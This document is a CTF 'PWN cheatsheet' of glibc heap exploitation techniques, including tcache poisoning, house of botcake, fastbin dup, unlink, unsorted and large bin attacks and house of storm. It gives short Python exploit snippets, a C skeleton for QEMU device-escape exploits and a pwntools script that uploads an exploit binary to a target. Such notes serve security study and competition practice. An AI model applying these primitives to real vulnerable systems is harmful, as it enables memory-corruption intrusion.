# PWN Cheatsheet
[ToC]
## User Land
### Stack
### Heap
| bin | 64x | 32x |
| -------- | ---------- | ---------- |
| tcache | 0x20~0x410 | 0x10~0x208 |
| fast | 0x20~0x80 | 0x10~0x40 |
| small | 0x20~0x3F0 | 0x10~0x1F8 |
| large | 0x400~Inf | 0x200~Inf |
```txt
No. of Bins Spacing between bins
64 bins of size 8 [ Small bins]
32 bins of size 64 [ Large bins]
16 bins of size 512 [ Large bins]
8 bins of size 4096 [ .. ]
4 bins of size 32768
2 bins of size 262144
1 bin of size what's left
```
2 important variable:
- `mp_.tcache_bins` (hijack to perform tcache attack)
- `global_max_fast` (hijack to perform fastbin attack)
Common Primitives:
- Heap Overflow
- Chunk Overlap / UAF
- Off-by-One
- Double Free
#### tcache poisoning (> 2.25)
UAF -> Arbitrary Alloc
hjkack fd pointer
<=2.31:
require two chunks in corresponding tcache bin
\>2.31:
require two chunks in corresponding tcache bin
require a heap leak
```python!
fd = pack(target ^ (heap>>12))
```
0x56ffffeeee1000
0x56ffffeeee1xxx
#### tcache house of spirit (> 2.25)
Arbitrary Free -> Arbitrary Alloc
Overflow -> Chunk Overlap / UAF
free a fake chunk into tcache
- no IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bit set
- target chunk 16-byte aligned
#### house of botcake (> 2.25)
Double Free -> Chunk Overlap / UAF
```python!
for i in range(7):
add(0x100)
add(0x100) # p1
add(0x100) # p2
add(0)
for i in range(7):
free(i)
free(p1)
free(p2) # trigger consolidate into unsorted bin
add(0x100) # from tcache
free(p2) # p2 into tcache
```
#### tcache stashing unlink (> 2.25)
calloc UAF -> Arbitrary Alloc
#### fastbin_dup
Double Free -> UAF
```python!
free(0)
free(1)
free(0)
```
#### fastbin_dup_consolidate
Double Free -> UAF
```python!
free(0) # fast
malloc(0x400) # trigger malloc_consolidate
free(0) # double free
```
#### fastbin_attack (fastbin_dup_into_stack)
UAF -> Arbitrary Alloc
hjkack fd pointer
pwndbg command: `find_fake_fast`
#### house of spirit
Arbitrary Free -> Arbitrary Alloc
free a fake chunk into fastbin
- no IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits
- resonable next chunk size
- the address of the fake chunk must be 16-byte aligned
#### unlink (unsafe_unlink)
```python!
# *target = &fake_chunk
fake_fd = target-0x18
fake_bk = target-0x10
```
#### poison null byte
construct chunk overlap
<2.31:
```txt
_______________overflow_______
| chunk0 | chunk1 > chunk2 |
free(0) # into unsorted bin (require fd and bk to bypass unlink)
free(2)
______________________________
| huge chunk in unsorted bin |
| | chunk1 | |
```
#### unsorted bin attack (<2.29)
UAF -> write &unsorted_bin to arbitrary address
```python!
add(0x400) # 0
free(0)
edit(0, pack(0)+pack(target-0x10)) # overwrite bk
```
#### large bin attack
UAF -> write heap address to arbitrary address
<2.30 (overwrite 2 target):
3 chunk P1, P2, P3 (and chunk to prevent consolidate)
```python!
target1 = 0x0
target2 = 0x0
add(0x420) # p1
add(0) # p1.5
add(0x500) # p2
add(0) # p2.5
add(0x510) # p3 bigger than p2
add(0) # p3.5
free(p1)
free(p2)
add(0) # p1 split into unsorted bin, p2 into large bin
free(p3) # p3 into unsorted bin
# overflow or UAF into p2
edit(p2, flat([0, target1-0x10, 0, target2-0x20]))
add(0) # p3 into largebin and trigger attack, new chunk split from p1 (thus prevent access to corrupted large bin)
```
#### house of storm < 2.29
UAF -> arbitrary chunk
unsorted bin attack with largebin attack to valide the fake chunk: write 0x56 to fake_chunk's size field. (50% success rate)
```python!
target = 0x0
add(0x410) # p1
add()
add(0x420) # p2
add()
# p1 to largebin, p2 to unsorted bin
free(p1)
free(p2)
new(0x420) # p1 to largebin
free(p2)
fake_chunk = target-0x10
edit(p2, pack(0)+pack(fake_chunk)) # bk
edit(p1, flat([0, fake_chunk+0x8, 0, fake_chunk-0x1d])) # bk & bk_nextsize
new(0x40) # get target
```
#### house of orange (<2.26) (no free)
Heap Overflow -> Shell
unsorted bin attack with FSOP
### Qemu
#### EXP Program
```clike!
#include <unistd.h>
#include <sys/io.h>
#include <memory.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
// lspci
#define DEVICE_PATH "/sys/devices/pci0000:00/0000:00:04.0/resource0"
unsigned char* mmio_mem;
size_t pmio_base=0xc040;
void die(char s) { putchar(s); exit(-1); }
void open_mmio() {
int mmio_fd = open(DEVICE_PATH, O_RDWR | O_SYNC);
if (mmio_fd == -1) die('m');
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED) die('f');
}
void mmio_write(size_t addr, size_t value) { *((size_t*)(mmio_mem + addr)) = value; }
size_t mmio_read(size_t addr) { return *((size_t*)(mmio_mem + addr)); }
void open_pmio() { if (iopl(3) != 0 ) die('i'); }
size_t pmio_write(size_t addr, size_t value) { outl(value,addr); }
size_t pmio_read(size_t addr) { return (size_t)inl(addr); }
void* mmap_new() { return mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); }
int main(int argc, char *argv[]) {
setbuf(stdin,0); setbuf(stdout,0); setbuf(stderr,0);
// PWN
return 0;
}
```
Compileļ¼`musl-gcc --static -o exp ./exp.c`
#### Debug
```shell!
# in docker file
apt install gdbserver
EXPORT 9999
# in container
gdbserver 127.0.0.1:9999 --attach <qemu-pid>
# in host
gdb ./qemu-system
(gdb) target remote 127.0.0.1:9999
```
#### EXP Upload
```python!
from pwn import *
import os
context.log_level = "debug"
#p=process('./boot.sh')
p=remote("127.0.0.1",9999)
qemu_prompt = b"/ #"
os.system("tar -czvf exp.tar.gz ./exp;base64 exp.tar.gz > b64_exp")
p.recvuntil(qemu_prompt)
p.sendline(b"echo '' > b64_exp;")
with open("./b64_exp", "r") as f:
while True:
line = f.readline().replace("\n","")
if len(line)<=0:
break
p.sendline(b"echo '" + line.encode() + b"' >> b64_exp;")
p.recvuntil(qemu_prompt)
p.sendline("base64 -d b64_exp > exp.tar.gz;tar -xzvf exp.tar.gz;chmod +x ./exp;")
p.interactive()
```
## Kernel land
## Misc
### Docker
#### build and run from Dockerfile
```shell!
docker build -t <tag> .
docker run --name <name> -it <image> [bash]
# attach to exist container
docker exec -it <name/id> bash
```